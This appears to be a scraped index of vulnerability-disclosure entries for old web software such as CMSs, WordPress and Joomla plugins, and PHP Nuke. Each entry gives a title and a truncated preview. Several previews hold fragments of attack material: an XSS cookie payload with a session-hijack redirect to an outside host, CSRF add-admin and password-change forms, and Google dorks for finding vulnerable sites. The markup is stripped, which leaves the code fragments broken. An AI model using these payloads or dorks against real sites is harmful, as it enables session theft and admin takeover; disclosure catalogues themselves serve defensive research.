Arabic Font - CSRF & Stored XSS

Due to a lack of CSRF mitigation and entity encoding in the output generated by arabic-font.php and /inc/panel.php, it is possible to store and execute scripts in the context of an admin user...

Automattic: XSS at www.woothemes.com

This XSS vulnerability can be used against IE browsers. There is an XSS filter in modern IE browsers, so to reproduce we should turn XSS filter off http://answers.microsoft.com/en-us/ie/forum/ie9-windows7/how-do-i-turn-off-cross-site-scripting-i-can-no/f3058b73-4956-e011-8dfc-68b599b31bf5?auth=1,...

Stanford Cross Site Scripting

/ Exploit Title: Stanford CGI Cross Site Scripting Vulnerability Exploit Author: Sha4yan Vendor Homepage : http://cgi.stanford.edu/ Google Dork: none Date: 2016-01-08 Tested on: Ubuntu / Mozila Firefox Exploit Code: Location & Vulnerable query:...

Realtyna RPL 8.9.2 CSRF / Cross Site Scripting

Realtyna RPL 8.9.2 Joomla Extension Persistent XSS And CSRF Vulnerabilities Vendor: Realtyna LLC Product web page: https://www.realtyna.com Affected version: 8.9.2 Summary: Realtyna CRM Client Relationship Management Add-on for RPL is a Real Estate CRM specially designed and developed based on...

Balero CMS 0.7.2 - Multiple JSHTML Injection Vulnerabilities

Balero CMS 0.7.2 - Multiple JSHTML Injection Vulnerabilities document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pent...

noname script <= 1.1 - Multiple Vulnerabilities

No description provided by source. + NoName Script 1.1 BETA Multiple Remote Vulnerabilities + Discovered By SirGod + www.mortal-team.org + Greetz : E.M.I.N.E.M,Ras,Puscasmarin,ToxicBlood,MesSiAH,xZu,HrN,kemrayz + Local File Inclusion...

Maxwebportal <= 1.36 password.asp Change Password Exploit (2 - php)

No description provided by source. ?php / ------Trap-Set Underground Hacking Team-----------------mhp0rtal---------------------- Greetz to : Alphaprogrammer , Oilkarchack , Str0ke And Iranian Hacking & Security Teams : Alphast , IHS Team , Shabgard Security Team , Emperor Hacking TEam , CrouZ...

N-13 News 4.0 CSRF Vulnerability (Add Admin)

No description provided by source. N-13 News 4.0 CSRF Vulnerability Add Admin ==================================================================== .:. Author : AtT4CKxT3rR0r1ST [email protected] .:. Script : http://n-13news.googlecode.com/files/n13news4.0.1.zip .:. Tested On Demo :...

WordPress Occasions Plugin 1.0.4 - CSRF Vulnerability

No description provided by source. html !-- Exploit Title: WordPress Occasions Plugin 1.0.4 CSRF Google Dork: inurl:/wp-content/plugins/occasions Date: 18.03.2013 Exploit Author: m3tamantra http://m3tamantra.wordpress.com/blog Vendor Homepage: http://wordpress.org/extend/plugins/occasions/ Softwa...

Acc PHP eMail 1.1 - CSRF

No description provided by source. /\ == \ /\ \ /\ \ \ \ \ \ \ \ \ /\ \ \ \ \ \ \ \ // // // 01000010 01101001 01001111 ---------------------------------------------------------------- + Acc PHP eMail v1.1 - CSRF // Author Info x Author: bi0 x Contact: [email protected] x Homepage :...

HolaCMS 1.2/1.4.x Voting Module Remote File Corruption Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/12789/info HolaCMS is prone to a vulnerability that may allow remote users to corrupt files on the server. This is due an input validation error that allows users to submit voting data to an attacker-specified file. It ha...

NooMS CMS 1.1.1 - CSRF

No description provided by source. NooMS CMS version 1.1.1 CSRF Bug Found: April 9th 2011 Found by: loneferret as far as I know anyway Software Download Link: http://phpkode.com/download/p/2381nooms1.1.1.tar.bz2 Nods to exploit-db Team Well, I didn't have much to do this morning so figured I'd tr...

Enthrallweb eClassifieds 1.0 - Remote User Pass Change Exploit

No description provided by source. form action=target/myprofile.asp method=POST name=form2 p /p table align=center cellpadding=1 cellspacing=1 tr valign=baseline td align=right nowrap class=title Change Profile=Username input type=text name=MMrecordId value=ajann /td td input type=text...

DigitalHive <= 2.0 RC2 (user_id) Remote SQL Injection Exploit

No description provided by source. !-- Hive v2.0 RC2 Remote SQL Injection c0ded by j0j0 -- html head style type=text/css body margin:3%; font-size:10px; color:FFFFFF; font-family:Verdana,Arial; background-color:1a1a1a; text-align: center; input background:303030; color:FFFFFF;...

b2evolution 3.3.3 Cross Site Request Forgery [CSRF]

No description provided by source. ---------------------------------------------------------------------------- : Exploit Title: b2evolution 3.3.3 Cross site request forgery : : Date: 05/07/2010 & 23/07/1431 H : : Author: saudi0hacker : : Software Link: http://b2evolution.net/downloads/index.html...

DMXReady Blog Manager <= 1.1 - Remote File Delete Vulnerability

No description provided by source. Title : DMXReady Blog Manager = 1.1 Remote Files Delete Vulnerability Author : ajann from Turkey Contact : : S.Page : http://www.dmxready.com $$ : 199.97 $ Dork : inurl:incwebblogmanager.asp DorkEx :...

PHP Nuke 8.2.4 CSRF Vulnerability

No description provided by source. Exploit Title:CSRF vulnerability Author: sajith version: PHP Nuke 8.2.4 vulnerable app link:http://phpnuke.org/modules.php?name=Release CSRF add group html lang=en head titleCSRF POC PHP nuke 8.2.4/title /head body form...

NavBoard 2.6.0 - Remote Code Execution Exploit

No description provided by source. ?php / \|/// \ - - // @ @ ----oOOo---oOOo--------------------------------------------------- Y! Underground Group [email protected] Dj7xpl.2600.ir ----ooooO-----Ooooo-------------------------------------------------- \ / \ /...

DaloRadius - Multiple Vulnerabilities

No description provided by source. ------------------------------------------------------------------------- Software : DaloRadius SQLi / CSRF / XSS Author : Saadat Ullah , [email protected] Author home : http://security-geeks.blogspot.com Date : 15/3/13 Vendors : http://www.daloradius.co...

Store Locator Remote Add Admin Exploit CSRF Vulnerability

No description provided by source. vendor: www.ghostscripter.com ::::::::::::::explo!t::::::: ::::::: html head title Store Locator Remote Add Admin Exploit /title /head body text=00FF00 bgcolor=000000 form action=http://server/StoreLocator/adm/adminadd.php method=post style=text-align: center br...